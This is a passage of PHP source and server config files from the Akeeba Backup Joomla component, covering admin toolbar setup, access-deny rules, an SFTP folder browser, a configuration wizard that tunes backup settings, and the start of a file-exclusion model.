		$this->backButton('COM_AKEEBA_CONTROLPANEL', 'index.php?option=com_akeeba');
		ToolbarHelper::spacer();
		ToolbarHelper::help('', false, 'https://www.akeeba.com/documentation/akeeba-backup-documentation/exclude-data-from-backup.html#files-and-directories-exclusion');
	}

	public function onIncludeFoldersMain()
	{
		$this->setTitle('COM_AKEEBA_INCLUDEFOLDER');

		$this->backButton('COM_AKEEBA_CONTROLPANEL', 'index.php?option=com_akeeba');
		ToolbarHelper::spacer();
		ToolbarHelper::help('', false, 'https://www.akeeba.com/documentation/akeeba-backup-documentation/off-site-directories-inclusion.html');
	}

	public function onLogs()
	{
		$this->setTitle('COM_AKEEBA_LOG');

		$this->backButton('COM_AKEEBA_CONTROLPANEL', 'index.php?option=com_akeeba');
		ToolbarHelper::spacer();
		ToolbarHelper::help('', false, 'https://www.akeeba.com/documentation/akeeba-backup-documentation/view-log.html');
	}

	public function onManagesDefault()
	{
		$this->setTitle('COM_AKEEBA_BUADMIN');

		if (AKEEBA_PRO)
		{
			$bar  = JToolbar::getInstance('toolbar');
			$icon = $this->isJoomla3() ? 'folder-open' : 'search';
			$bar->appendButton('Link', $icon, Text::_('COM_AKEEBA_DISCOVER'), 'index.php?option=com_akeeba&view=Discover');
		}

		$user        = $this->container->platform->getUser();
		$permissions = [
			'configure' => $user->authorise('akeeba.configure', 'com_akeeba'),
			'backup'    => $user->authorise('akeeba.backup', 'com_akeeba'),
		];

		if ($permissions['configure'] && AKEEBA_PRO)
		{
			ToolbarHelper::publish('restore', Text::_('COM_AKEEBA_BUADMIN_LABEL_RESTORE'));
		}

		if ($permissions['backup'])
		{
			ToolbarHelper::editList('showcomment', Text::_('COM_AKEEBA_BUADMIN_LOG_EDITCOMMENT'));
		}

		if ($permissions['configure'] || $permissions['backup'])
		{
			ToolbarHelper::spacer();
		}

		if ($permissions['backup'])
		{
			ToolbarHelper::deleteList();
			ToolbarHelper::custom('deletefiles', 'delete.png', 'delete_f2.png', Text::_('COM_AKEEBA_BUADMIN_LABEL_DELETEFILES'), true);
			ToolbarHelper::spacer();
		}

		$this->backButton('COM_AKEEBA_CONTROLPANEL', 'index.php?option=com_akeeba');
		ToolbarHelper::spacer();
		ToolbarHelper::help('', false, 'https://www.akeeba.com/documentation/akeeba-backup-documentation/adminsiter-backup-files.html');
	}

	public function onManagesShowcomment()
	{
		$this->setTitle('COM_AKEEBA_BUADMIN');

		$this->backButton('COM_AKEEBA_CONTROLPANEL', 'index.php?option=com_akeeba');
		ToolbarHelper::save();
		ToolbarHelper::cancel();
		ToolbarHelper::spacer();
		ToolbarHelper::help('', false, 'https://www.akeeba.com/documentation/akeeba-backup-documentation/adminsiter-backup-files.html');
	}

	public function onMultipleDatabasesMain()
	{
		$this->setTitle('COM_AKEEBA_MULTIDB');

		$this->backButton('COM_AKEEBA_CONTROLPANEL', 'index.php?option=com_akeeba');
		ToolbarHelper::spacer();
		ToolbarHelper::help('', false, 'https://www.akeeba.com/documentation/akeeba-backup-documentation/include-data-to-archive.html#multiple-db-definitions');
	}

	public function onProfilesAdd()
	{
		parent::onAdd();

		$this->setTitle('COM_AKEEBA_PROFILES_PAGETITLE_NEW');

		ToolbarHelper::spacer();
		ToolbarHelper::help('', false, 'https://www.akeeba.com/documentation/akeeba-backup-documentation/using-basic-operations.html#profiles-management');
	}

	public function onProfilesBrowse()
	{
		$this->setTitle('COM_AKEEBA_PROFILES');

		$this->backButton('COM_AKEEBA_CONTROLPANEL', 'index.php?option=com_akeeba');
		ToolbarHelper::spacer();
		ToolbarHelper::addNew();
		ToolbarHelper::custom('copy', 'copy.png', 'copy_f2.png', 'COM_AKEEBA_LBL_BATCH_COPY', false);
		ToolbarHelper::spacer();
		ToolbarHelper::deleteList();
		ToolbarHelper::spacer();
		ToolbarHelper::spacer();
		ToolbarHelper::help('', false, 'https://www.akeeba.com/documentation/akeeba-backup-documentation/using-basic-operations.html#profiles-management');
	}

	public function onProfilesEdit()
	{
		parent::onEdit();

		$this->setTitle('COM_AKEEBA_PROFILES_PAGETITLE_EDIT');

		ToolbarHelper::spacer();
		ToolbarHelper::help('', false, 'https://www.akeeba.com/documentation/akeeba-backup-documentation/using-basic-operations.html#profiles-management');
	}

	public function onRegExDatabaseFiltersMain()
	{
		$this->setTitle('COM_AKEEBA_REGEXDBFILTERS');

		$this->backButton('COM_AKEEBA_CONTROLPANEL', 'index.php?option=com_akeeba');
		ToolbarHelper::spacer();
		ToolbarHelper::help('', false, 'https://www.akeeba.com/documentation/akeeba-backup-documentation/regex-database-tables-exclusion.html');
	}

	public function onRegExFileFiltersMain()
	{
		$this->setTitle('COM_AKEEBA_REGEXFSFILTERS');

		$this->backButton('COM_AKEEBA_CONTROLPANEL', 'index.php?option=com_akeeba');
		ToolbarHelper::spacer();
		ToolbarHelper::help('', false, 'https://www.akeeba.com/documentation/akeeba-backup-documentation/regex-files-directories-exclusion.html');
	}

	public function onRemoteFilesDownloadToServer()
	{
		$this->setTitle('COM_AKEEBA_REMOTEFILES');

		ToolbarHelper::spacer();
		ToolbarHelper::help('', false, 'https://www.akeeba.com/documentation/akeeba-backup-documentation/ch03s03s05s02.html');
	}

	public function onRemoteFilesListActions()
	{
		$this->setTitle('COM_AKEEBA_REMOTEFILES');

		ToolbarHelper::spacer();
		ToolbarHelper::help('', false, 'https://www.akeeba.com/documentation/akeeba-backup-documentation/manage-remotely-stored-files.html');
	}

	public function onRestores()
	{
		$this->setTitle('COM_AKEEBA_RESTORE');

		$this->backButton('COM_AKEEBA_CONTROLPANEL', 'index.php?option=com_akeeba');
		ToolbarHelper::spacer();
		ToolbarHelper::help('', false, 'https://www.akeeba.com/documentation/akeeba-backup-documentation/adminsiter-backup-files.html#integrated-restoration');
	}

	public function onS3ImportsMain()
	{
		$this->setTitle('COM_AKEEBA_S3IMPORT');

		$this->backButton('COM_AKEEBA_CONTROLPANEL', 'index.php?option=com_akeeba');
		ToolbarHelper::spacer();
		ToolbarHelper::help('', false, 'https://www.akeebabackup .com/documentation/akeeba-backup-documentation/import-s3.html');
	}

	public function onS3ImportsDltoserver()
	{
		$this->setTitle('COM_AKEEBA_S3IMPORT');

		$this->backButton('COM_AKEEBA_CONTROLPANEL', 'index.php?option=com_akeeba');
		ToolbarHelper::spacer();
		ToolbarHelper::help('', false, 'https://www.akeebabackup .com/documentation/akeeba-backup-documentation/import-s3.html');
	}

	public function onSchedules()
	{
		$this->setTitle('COM_AKEEBA_SCHEDULE');

		$this->backButton('COM_AKEEBA_CONTROLPANEL', 'index.php?option=com_akeeba');
		ToolbarHelper::spacer();
		ToolbarHelper::help('', false, 'https://www.akeeba.com/documentation/akeeba-backup-documentation/automating-your-backup.html');
	}

	public function onStatisticsMain()
	{
		$this->onManagesDefault();
	}

	public function onTransfers()
	{
		$this->setTitle('COM_AKEEBA_TRANSFER');

		$this->backButton('COM_AKEEBA_CONTROLPANEL', 'index.php?option=com_akeeba');

		$bar  = JToolbar::getInstance('toolbar');
		$icon = $this->isJoomla3() ? 'loop' : 'refresh';
		$bar->appendButton('Link', $icon, 'COM_AKEEBA_TRANSFER_BTN_RESET', 'index.php?option=com_akeeba&view=Transfer&task=reset');
	}

	protected function isJoomla3()
	{
		if (is_null(self::$isJoomla3))
		{
			self::$isJoomla3 = version_compare(JVERSION, '3.999.999', 'lt');
		}

		return self::$isJoomla3;
	}

	protected function setTitle($viewTitle)
	{
		$title = Text::_('COM_AKEEBA');

		if ($this->isJoomla3())
		{
			$icon  = 'akeeba';
			$title .= ' <span style="display: none;"> - </span><small>';
		}
		else
		{
			$icon  = 'akeeba-j4';
			$title .= "<small> – ";
		}

		$title .= Text::_($viewTitle) . "</small>";

		ToolbarHelper::title($title, $icon);
	}

	protected function backButton($label, $link)
	{
		if ($this->isJoomla3())
		{
			ToolbarHelper::back($label, $link);

			return;
		}

		$bar = JToolbar::getInstance('toolbar');
		$bar->appendButton('Link', 'chevron-left', $label, $link);
	}
}
com_akeeba/Toolbar/.htaccess000060400000000246152455305260012017 0ustar00<IfModule !mod_authz_core.c>
Order deny,allow
Deny from all
</IfModule>
<IfModule mod_authz_core.c>
  <RequireAll>
    Require all denied
  </RequireAll>
</IfModule>
com_akeeba/Toolbar/web.config000060400000001025152455305260012161 0ustar00<?xml version="1.0"?>
<!--
    This only works on IIS 7 or later. See https://www.iis.net/configreference/system.webserver/security/requestfiltering/fileextensions
-->
<configuration>
    <system.webServer>
        <security>
            <requestFiltering>
                <fileExtensions allowUnlisted="false" >
                    <clear />
                    <add fileExtension=".html" allowed="true"/>
                </fileExtensions>
            </requestFiltering>
        </security>
    </system.webServer>
</configuration>com_akeeba/Model/SFTPBrowser.php000060400000011117152455305260012507 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Backup\Admin\Model;

// Protect from unauthorized access
defined('_JEXEC') || die();

use FOF40\Model\Model;
use Joomla\CMS\Language\Text;
use RuntimeException;

class SFTPBrowser extends Model
{
	/**
	 * The SFTP server hostname
	 *
	 * @var  string
	 */
	public $host = '';

	/**
	 * The SFTP server port number (default: 22)
	 *
	 * @var  int
	 */
	public $port = 22;

	/**
	 * Username for logging in
	 *
	 * @var  string
	 */
	public $username = '';

	/**
	 * Password for logging in
	 *
	 * @var  string
	 */
	public $password = '';

	/**
	 * Private key file for connection
	 *
	 * @var  string
	 */
	public $privkey = '';

	/**
	 * Public key file for connection
	 *
	 * @var string
	 */
	public $pubkey = '';

	/**
	 * The directory to browse
	 *
	 * @var  string
	 */
	public $directory = '';

	/**
	 * Breadcrumbs to the current directory
	 *
	 * @var  array
	 */
	public $parts = [];

	/**
	 * Path to the parent directory
	 *
	 * @var  string
	 */
	public $parent_directory = null;

	/**
	 * Gets the folders contained in the remote FTP root directory defined in $this->directory
	 *
	 * @return  array
	 */
	public function getListing()
	{
		$dir = $this->directory;

		// Parse directory to parts
		$parsed_dir  = trim($dir, '/');
		$this->parts = empty($parsed_dir) ? [] : explode('/', $parsed_dir);

		// Find the path to the parent directory
		$this->parent_directory = '';

		if (!empty($this->parts))
		{
			$copy_of_parts = $this->parts;
			array_pop($copy_of_parts);

			$this->parent_directory = '/';

			if (!empty($copy_of_parts))
			{
				$this->parent_directory = '/' . implode('/', $copy_of_parts);
			}
		}

		// Initialise
		$connection = null;
		$sftphandle = null;

		// Open a connection
		if (!function_exists('ssh2_connect'))
		{
			throw new RuntimeException("Your web server does not have the SSH2 PHP module, therefore can not connect and upload archives to SFTP servers.");
		}

		$connection = ssh2_connect($this->host, $this->port);

		if ($connection === false)
		{
			throw new RuntimeException("Invalid SFTP hostname or port ({$this->host}:{$this->port}) or the connection is blocked by your web server's firewall.");
		}

		// Connect to the server

		if (!empty($this->pubkey) && !empty($this->privkey))
		{
			if (!ssh2_auth_pubkey_file($connection, $this->username, $this->pubkey, $this->privkey, $this->password))
			{
				throw new RuntimeException('Certificate error');
			}
		}
		else
		{
			if (!ssh2_auth_password($connection, $this->username, $this->password))
			{
				throw new RuntimeException('Could not authenticate access to SFTP server; check your username and password.');
			}
		}

		$sftphandle = ssh2_sftp($connection);

		if ($sftphandle === false)
		{
			throw new RuntimeException("Your SSH server does not allow SFTP connections");
		}

		// Get a raw directory listing (hoping it's a UNIX server!)
		$list = [];
		$dir  = ltrim($dir, '/');

		if (empty($dir))
		{
			$dir = ssh2_sftp_realpath($sftphandle, ".");

			$this->directory = $dir;

			// Parse directory to parts
			$parsed_dir  = trim($dir, '/');
			$this->parts = empty($parsed_dir) ? [] : explode('/', $parsed_dir);

			// Find the path to the parent directory
			$this->parent_directory = '';

			if (!empty($this->parts))
			{
				$copy_of_parts = $this->parts;
				array_pop($copy_of_parts);

				$this->parent_directory = '/';

				if (!empty($copy_of_parts))
				{
					$this->parent_directory = '/' . implode('/', $copy_of_parts);
				}
			}
		}

		$handle = opendir("ssh2.sftp://$sftphandle/$dir");

		if (!is_resource($handle))
		{
			throw new RuntimeException(Text::_('COM_AKEEBA_SFTPBROWSER_ERROR_NOACCESS'));
		}

		while (($entry = readdir($handle)) !== false)
		{
			if (substr($entry, 0, 1) == '.')
			{
				continue;
			}

			if (!is_dir("ssh2.sftp://$sftphandle/$dir/$entry"))
			{
				continue;
			}

			$list[] = $entry;
		}

		closedir($handle);

		if (!empty($list))
		{
			asort($list);
		}

		return $list;
	}

	/**
	 * Perform the actual folder browsing. Returns an array that's usable by the UI.
	 *
	 * @return  array
	 */
	public function doBrowse()
	{
		$error = '';
		$list  = [];

		try
		{
			$list = $this->getListing();
		}
		catch (RuntimeException $e)
		{
			$error = $e->getMessage();
		}

		$response_array = [
			'error'       => $error,
			'list'        => $list,
			'breadcrumbs' => $this->parts,
			'directory'   => $this->directory,
			'parent'      => $this->parent_directory,
		];

		return $response_array;
	}
}
com_akeeba/Model/Exceptions/TransferFatalError.php000060400000000535152455305260016260 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Backup\Admin\Model\Exceptions;

// Protect from unauthorized access
defined('_JEXEC') || die();

class TransferFatalError extends \RuntimeException
{

}
com_akeeba/Model/Exceptions/FrozenRecordError.php000060400000000534152455305260016125 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Backup\Admin\Model\Exceptions;

// Protect from unauthorized access
defined('_JEXEC') || die();

class FrozenRecordError extends \RuntimeException
{

}
com_akeeba/Model/Exceptions/TransferIgnorableError.php000060400000000541152455305260017130 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Backup\Admin\Model\Exceptions;

// Protect from unauthorized access
defined('_JEXEC') || die();

class TransferIgnorableError extends \RuntimeException
{

}
com_akeeba/Model/ConfigurationWizard.php000060400000037164152455305260014371 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Backup\Admin\Model;

// Protect from unauthorized access
defined('_JEXEC') || die();

use Akeeba\Backup\Admin\Model\Mixin\Chmod;
use Akeeba\Engine\Factory;
use Akeeba\Engine\Platform;
use FOF40\Model\Model;

/**
 * ConfigurationWizard model. Contains the business logic for the configuration wizard.
 */
class ConfigurationWizard extends Model
{
	use Chmod;

	/**
	 * Attempts to automatically figure out where the output and temporary directories should point, adjusting their
	 * permissions should it be necessary.
	 *
	 * @param   bool  $dontRecurse  Used internally. Always skip this parameter when calling this method.
	 *
	 * @return  bool  True if we could fix the directories
	 */
	public function autofixDirectories(bool $dontRecurse = false)
	{
		// Get the output directory, translated
		$engineConfig    = Factory::getConfiguration();
		$outputDirectory = $engineConfig->get('akeeba.basic.output_directory', '');
		$fixOut          = true;

		// If no output directory is specified set it the default output and retry.
		if (empty($outputDirectory) && !$dontRecurse)
		{
			/** @var @var Configuration $model $model */
			$model = $this->container->factory->model('Configuration')->tmpInstance();

			$model->setState('engineconfig', [
				'akeeba.basic.output_directory' => '[DEFAULT_OUTPUT]',
			]);
			$model->saveEngineConfig();

			return $this->autofixDirectories(true);
		}

		// Is the folder writeable?
		if (is_dir($outputDirectory))
		{
			$filename = $outputDirectory . '/test.dat';
			$fixOut   = !@file_put_contents($filename, 'test');

			if (!$fixOut)
			{
				// Directory writable, remove the temp file
				@unlink($filename);
			}
		}

		// Do I need to change the permissions?
		if ($fixOut)
		{
			// Try to chmod the directory
			$this->chmod($outputDirectory, 511);

			// Repeat the test
			$filename = $outputDirectory . '/test.dat';
			$fixOut   = !@file_put_contents($filename, 'test');

			if (!$fixOut)
			{
				// Directory writable, remove the temp file
				@unlink($filename);
			}
		}

		/**
		 * If we reached this point after recursion, we can't fix the permissions of the default backup output folder.
		 * The user has to manually select a writeable backup output directory (or make the default otuput writeable).
		 */
		if ($fixOut && $dontRecurse)
		{
			return false;
		}

		/**
		 * Write the output folder through the Configuration model. This ensures that:
		 *
		 * - we are not trying to use the site's root as the output folder.
		 * - the output folder saved in the database contains an abstracted representation of the folder, using path
		 *   variables instead of absolute filesystem folders.
		 *
		 * @var Configuration $model
		 */
		$model = $this->container->factory->model('Configuration')->tmpInstance();

		// Do I have to fall back to the default output directory?
		$outputDirectory = $fixOut ? '[DEFAULT_OUTPUT]' : $outputDirectory;

		$model->setState('engineconfig', [
			'akeeba.basic.output_directory' => $outputDirectory,
		]);
		$model->saveEngineConfig();

		/**
		 * If we had to revert to the default output we will run ourselves again to make sure that the default backup
		 * output folder is, in fact, writeable.
		 */
		if ($fixOut)
		{
			return $this->autofixDirectories(true);
		}

		return true;
	}

	/**
	 * Creates a temporary file of a specific size
	 *
	 * @param   int          $blocks How many 128Kb blocks to write. Common values: 1, 2, 4, 16, 40, 80, 81
	 * @param   string|null  $tempdir
	 *
	 * @return  bool  TRUE on success
	 */
	public function createTempFile($blocks = 1, $tempdir = null)
	{
		if (empty($tempdir))
		{
			$aeconfig = Factory::getConfiguration();
			$tempdir  = $aeconfig->get('akeeba.basic.output_directory', '');
		}

		$sixtyfourBytes = '012345678901234567890123456789012345678901234567890123456789ABCD';
		$oneKilo        = '';
		$oneBlock       = '';

		for ($i = 0; $i < 16; $i ++)
		{
			$oneKilo .= $sixtyfourBytes;
		}

		for ($i = 0; $i < 128; $i ++)
		{
			$oneBlock .= $oneKilo;
		}

		$filename = tempnam($tempdir, 'confwiz');
		@unlink($filename);

		$fp = @fopen($filename, 'w');

		if ($fp !== false)
		{
			for ($i = 0; $i < $blocks; $i ++)
			{
				if (!@fwrite($fp, $oneBlock))
				{
					@fclose($fp);
					@unlink($filename);

					return false;
				}
			}

			@fclose($fp);
			@unlink($filename);
		}
		else
		{
			return false;
		}

		return true;
	}

	/**
	 * Sleeps for a given amount of time. Returns false if the sleep time requested is over the maximum execution time.
	 *
	 * @param   int  $secondsDelay  Seconds to sleep
	 *
	 * @return  bool  FALSE if we cannot sleep that long
	 */
	public function doNothing($secondsDelay = 1)
	{
		// Try to get the maximum execution time and PHP memory limit
		if (function_exists('ini_get'))
		{
			$maxexec  = ini_get("max_execution_time");
			$memlimit = ini_get("memory_limit");
		}
		else
		{
			$maxexec  = 14;
			$memlimit = 16777216;
		}

		// Unknown time limit; suppose 10s
		if (!is_numeric($maxexec) || ($maxexec == 0))
		{
			$maxexec = 10;
		}

		// Some servers report silly values, i.e. 30000, which Do Not Work™ :(
		if ($maxexec > 180)
		{
			$maxexec = 10;
		}

		// Sometimes memlimit comes with the M or K suffixes. Parse them.
		if (is_string($memlimit))
		{
			$memlimit = strtoupper(trim(str_replace(' ', '', $memlimit)));

			if (substr($memlimit, - 1) == 'K')
			{
				$memlimit = 1024 * substr($memlimit, 0, - 1);
			}
			elseif (substr($memlimit, - 1) == 'M')
			{
				$memlimit = 1024 * 1024 * substr($memlimit, 0, - 1);
			}
			elseif (substr($memlimit, - 1) == 'G')
			{
				$memlimit = 1024 * 1024 * 1024 * substr($memlimit, 0, - 1);
			}
		}

		// Unknown limit; suppose 16M
		if (!is_numeric($memlimit) || ($memlimit === 0))
		{
			$memlimit = 16777216;
		}

		// No limit; suppose 128M
		if ($memlimit === - 1)
		{
			$memlimit = 134217728;
		}

		// Get the current memory usage (or assume one if the metric is not available)
		if (function_exists('memory_get_usage'))
		{
			$usedram = memory_get_usage();
		}
		else
		{
			$usedram = 7340032; // Suppose 7M of RAM usage if the metric isn't available;
		}

		// If we have less than 12M of RAM left, we have to limit ourselves to 6 seconds of
		// total execution time (emperical value!) to avoid deadly memory outages
		if (($memlimit - $usedram) < 12582912)
		{
			$maxexec = 5;
		}

		// If the requested delay is over the $maxexec limit (minus one second
		// for application initialization), return false
		if ($secondsDelay > ($maxexec - 1))
		{
			return false;
		}

		// And now, run the silly loop to simulate the CPU usage pattern during backup
		$start = microtime(true);
		$loop  = true;

		while ($loop)
		{
			// Waste some CPU power...
			for ($i = 1; $i < 1000; $i ++)
			{
				$j = exp((int)($i * $i / 123 * 864) >> 2);
			}

			// ... then sleep for a millisec
			usleep(1000);

			// Are we done yet?
			$end = microtime(true);

			if (($end - $start) >= $secondsDelay)
			{
				$loop = false;
			}
		}

		return true;
	}

	/**
	 * This method will analyze your database tables and try to figure out the optimal batch row count value so that its
	 * SELECT doesn't return excessive amounts of data. The only drawback is that it only accounts for the core tables,
	 * but that is usually a good metric.
	 *
	 * @return  void
	 */
	public function analyzeDatabase()
	{
		// Try to get the PHP memory limit
		if (function_exists('ini_get'))
		{
			$memlimit = ini_get("memory_limit");
		}
		else
		{
			$memlimit = 16777216;
		}

		if (!is_numeric($memlimit) || ($memlimit === 0))
		{
			$memlimit = 16777216; // Unknown limit; suppose 16M
		}

		if ($memlimit === - 1)
		{
			$memlimit = 134217728; // No limit; suppose 128M
		}

		// Get the current memory usage (or assume one if the metric is not available)
		if (function_exists('memory_get_usage'))
		{
			$usedram = memory_get_usage();
		}
		else
		{
			$usedram = 7340032; // Suppose 7M of RAM usage if the metric isn't available;
		}

		// How much RAM can I spare? It's the max memory minus the current memory usage and an extra
		// 5Mb to cater for Akeeba Engine's peak memory usage
		$max_mem_usage = $usedram + 5242880;
		$ram_allowance = $memlimit - $max_mem_usage;

		// If the RAM allowance is too low, assume 2Mb (emperical value)
		if ($ram_allowance < 2097152)
		{
			$ram_allowance = 2097152;
		}

		// If SHOW TABLE STATUS is not supported this is a safe-ish value.
		$rowCount = 100;

		// Get the table statistics
		$db = $this->container->db;

		if (strtolower(substr($db->name, 0, 5)) == 'mysql')
		{
			// The table analyzer only works with MySQL
			$db->setQuery("SHOW TABLE STATUS");

			try
			{
				$metrics = $db->loadAssocList();

				if (method_exists($db, 'getError') && $db->getError())
				{
					$metrics = null;
				}
			}
			catch (\Exception $exc)
			{
				$metrics = null;
			}

			// SHOW TABLE STATUS is supported.
			if (!is_null($metrics))
			{
				$rowCount = 1000; // Start with the default value

				if (!empty($metrics))
				{
					foreach ($metrics as $table)
					{
						// Get row count and average row length
						$rows    = $table['Rows'];
						$avg_len = $table['Avg_row_length'];

						// Calculate RAM usage with current settings
						$max_rows        = min($rows, $rowCount);
						$max_ram_current = $max_rows * $avg_len;

						if ($max_ram_current > $ram_allowance)
						{
							// Hm... over the allowance. Let's try to find a sweet spot.
							$max_rows = (int) ($ram_allowance / $avg_len);
							// Quantize to multiple of 10 rows
							$max_rows = 10 * floor($max_rows / 10);

							// Can't really go below 10 rows / batch
							if ($max_rows < 10)
							{
								$max_rows = 10;
							}

							// If the new setting is less than the current $rowCount, use the new setting
							if ($rowCount > $max_rows)
							{
								$rowCount = $max_rows;
							}
						}
					}
				}
			}
		}

		$profile_id = Platform::getInstance()->get_active_profile();
		$config     = Factory::getConfiguration();

		// Use the correct database dump engine
		$config->set('akeeba.advanced.dump_engine', 'reverse');

		if (strpos($db->name, 'mysql') !== false)
		{
			$config->set('akeeba.advanced.dump_engine', 'native');
		}

		// Save the row count per batch
		$config->set('engine.dump.common.batchsize', $rowCount);

		// Enable SQL file splitting - default is 512K unless the part_size is less than that!
		$splitsize = 524288;
		$partsize  = $config->get('engine.archiver.common.part_size', 0);

		if (($partsize < $splitsize) && !empty($partsize))
		{
			$splitsize = $partsize;
		}

		$config->set('engine.dump.common.splitsize', $splitsize);

		// Enable extended INSERTs
		$config->set('engine.dump.common.extended_inserts', '1');

		// Determine optimal packet size (must be at most two fifths of the split size and no more than 256K)
		$packet_size = (int) $splitsize * 0.4;

		if ($packet_size > 262144)
		{
			$packet_size = 262144;
		}

		$config->set('engine.dump.common.packet_size', $packet_size);

		// Enable the native dump engine
		$config->set('akeeba.advanced.dump_engine', 'native');

		Platform::getInstance()->save_configuration($profile_id);
	}

	/**
	 * Executes the action requested through AJAX
	 *
	 * @return  bool
	 */
	public function runAjax()
	{
		// Only allowed actions
		$allowedActions = [
			'ping', 'minexec', 'applyminexec', 'directories', 'database', 'maxexec', 'applymaxexec', 'partsize', 'flush'
		];

		// Get the requested action from the model state
		$action = $this->getState('act');

		$result = false;

		if (in_array($action, $allowedActions) && method_exists($this, $action))
		{
			$result = call_user_func([$this, $action]);
		}

		return $result;
	}

	/**
	 * Pings the configuration wizard process and marks the current profile as configured
	 *
	 * @return  bool  TRUE, always
	 */
	private function ping()
	{
		// Get the profile ID
		$profile_id = Platform::getInstance()->get_active_profile();

		// Set the embedded installer to the default ANGIE installer
		$engineConfig = Factory::getConfiguration();
		$engineConfig->set('akeeba.advanced.embedded_installer', 'angie');

		// And mark this profile as already configured
		$engineConfig->set('akeeba.flag.confwiz', 1);

		Platform::getInstance()->save_configuration($profile_id);

		return true;
	}

	/**
	 * Try different values of minimum execution time
	 *
	 * @return  bool  TRUE, always
	 */
	private function minexec()
	{
		$seconds = $this->input->get('seconds', '0.5', 'float');

		if ($seconds < 1)
		{
			usleep($seconds * 1000000);
		}
		else
		{
			sleep($seconds);
		}

		return true;
	}

	/**
	 * Saves the AJAX preference and the minimum execution time
	 *
	 * @return  bool  TRUE, always
	 */
	private function applyminexec()
	{
		// Get the user parameters
		$minexec = $this->input->get('minexec', 2.0, 'float');

		// Save the settings
		$profile_id   = Platform::getInstance()->get_active_profile();
		$engineConfig = Factory::getConfiguration();
		$engineConfig->set('akeeba.tuning.min_exec_time', $minexec * 1000);
		Platform::getInstance()->save_configuration($profile_id);

		// Enforce the min exec time
		$timer = Factory::getTimer();
		$timer->enforce_min_exec_time(false);

		// Done!
		return true;
	}

	/**
	 * Try to make the directories writable or provide a set of writable directories
	 *
	 * @return  bool  TRUE if we coud fix the permissions of the directories
	 */
	private function directories()
	{
		$timer  = Factory::getTimer();
		$result = $this->autofixDirectories();
		$timer->enforce_min_exec_time(false);

		return $result;
	}

	/**
	 * Analyze the database and apply optimized database dump settings
	 *
	 * @return  bool  TRUE if we were successful
	 */
	private function database()
	{
		$timer = Factory::getTimer();
		$this->analyzeDatabase();
		$timer->enforce_min_exec_time(false);

		return true;
	}

	/**
	 * Try to apply a specific maximum execution time setting
	 *
	 * @return  bool
	 */
	private function maxexec()
	{
		$seconds = $this->input->get('seconds', 30, 'int');
		$timer   = Factory::getTimer();
		$result  = $this->doNothing($seconds);
		$timer->enforce_min_exec_time(false);

		return $result;
	}

	/**
	 * Save a specific maximum execution time preference to the database
	 *
	 * @return  bool
	 */
	private function applymaxexec()
	{
		// Get the user parameters
		$maxexec = $this->input->get('seconds', 2, 'int');

		// Save the settings
		$timer      = Factory::getTimer();
		$profile_id = Platform::getInstance()->get_active_profile();
		$config     = Factory::getConfiguration();
		$config->set('akeeba.tuning.max_exec_time', $maxexec);
		$config->set('akeeba.tuning.run_time_bias', '75');
		$config->set('akeeba.advanced.scan_engine', 'smart');
		$config->set('akeeba.advanced.archiver_engine', 'jpa');
		Platform::getInstance()->save_configuration($profile_id);

		// Enforce the min exec time
		$timer->enforce_min_exec_time(false);

		// Done!
		return true;
	}

	/**
	 * Creates a dummy file of a given size. Remember to give the filesize query parameter in bytes!
	 *
	 * @return  bool
	 */
	public function partsize()
	{
		$timer  = Factory::getTimer();
		$blocks = $this->input->get('blocks', 1, 'int');

		$result = $this->createTempFile($blocks);

		if ($result)
		{
			// Save the setting
			if ($blocks > 200)
			{
				$blocks = 16383; // Over 25Mb = 2Gb minus 128Kb limit (safe setting for PHP not running on 64-bit Linux)
			}

			$profile_id = Platform::getInstance()->get_active_profile();
			$config     = Factory::getConfiguration();
			$config->set('engine.archiver.common.part_size', $blocks * 128 * 1024);
			Platform::getInstance()->save_configuration($profile_id);
		}

		// Enforce the min exec time
		$timer->enforce_min_exec_time(false);

		return $result;
	}
}
com_akeeba/Model/FileFilters.php000060400000027650152455305260012610 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Backup\Admin\Model;

// Protect from unauthorized access
defined('_JEXEC') || die();

use Akeeba\Backup\Admin\Model\Mixin\ExclusionFilter;
use Akeeba\Engine\Factory;
use Akeeba\Engine\Platform;
use FOF40\Container\Container;
use FOF40\Model\Model;

/**
 * File Filters model
 *
 * Handles the exclusion of files and directories
 */
class FileFilters extends Model
{
	use ExclusionFilter;

	public function __construct(Container $container, array $config)
	{
		parent::__construct($container, $config);

		$this->knownFilterTypes = ['directories', 'files', 'skipdirs', 'skipfiles'];
	}

	/**
	 * Returns a listing of contained directories and files, as well as their exclusion status
	 *
	 * @param   string  $root  The root directory
	 * @param   string  $node  The subdirectory to scan
	 *
	 * @return  array
	 */
	private function &get_listing($root, $node)
	{
		// Initialize the absolute directory root
		$directory = substr($root, 0);

		// Replace stock directory tags, like [SITEROOT]
		$stock_dirs = Platform::getInstance()->get_stock_directories();

		if (!empty($stock_dirs))
		{
			foreach ($stock_dirs as $key => $replacement)
			{
				$directory = str_replace($key, $replacement, $directory);
			}
		}

		$directory = Factory::getFilesystemTools()->TranslateWinPath($directory);

		// Clean and add the node
		$node = Factory::getFilesystemTools()->TranslateWinPath($node);

		// Just a directory separator is treated as no directory at all
		if (($node == '/'))
		{
			$node = '';
		}

		// Trim leading and trailing slashes
		$node = trim($node, '/');

		// Add node to directory
		if (!empty($node))
		{
			$directory .= '/' . $node;
		}

		// Add any required trailing slash to the node to be used below
		if (!empty($node))
		{
			$node .= '/';
		}

		// Get a filters instance
		$filters = Factory::getFilters();

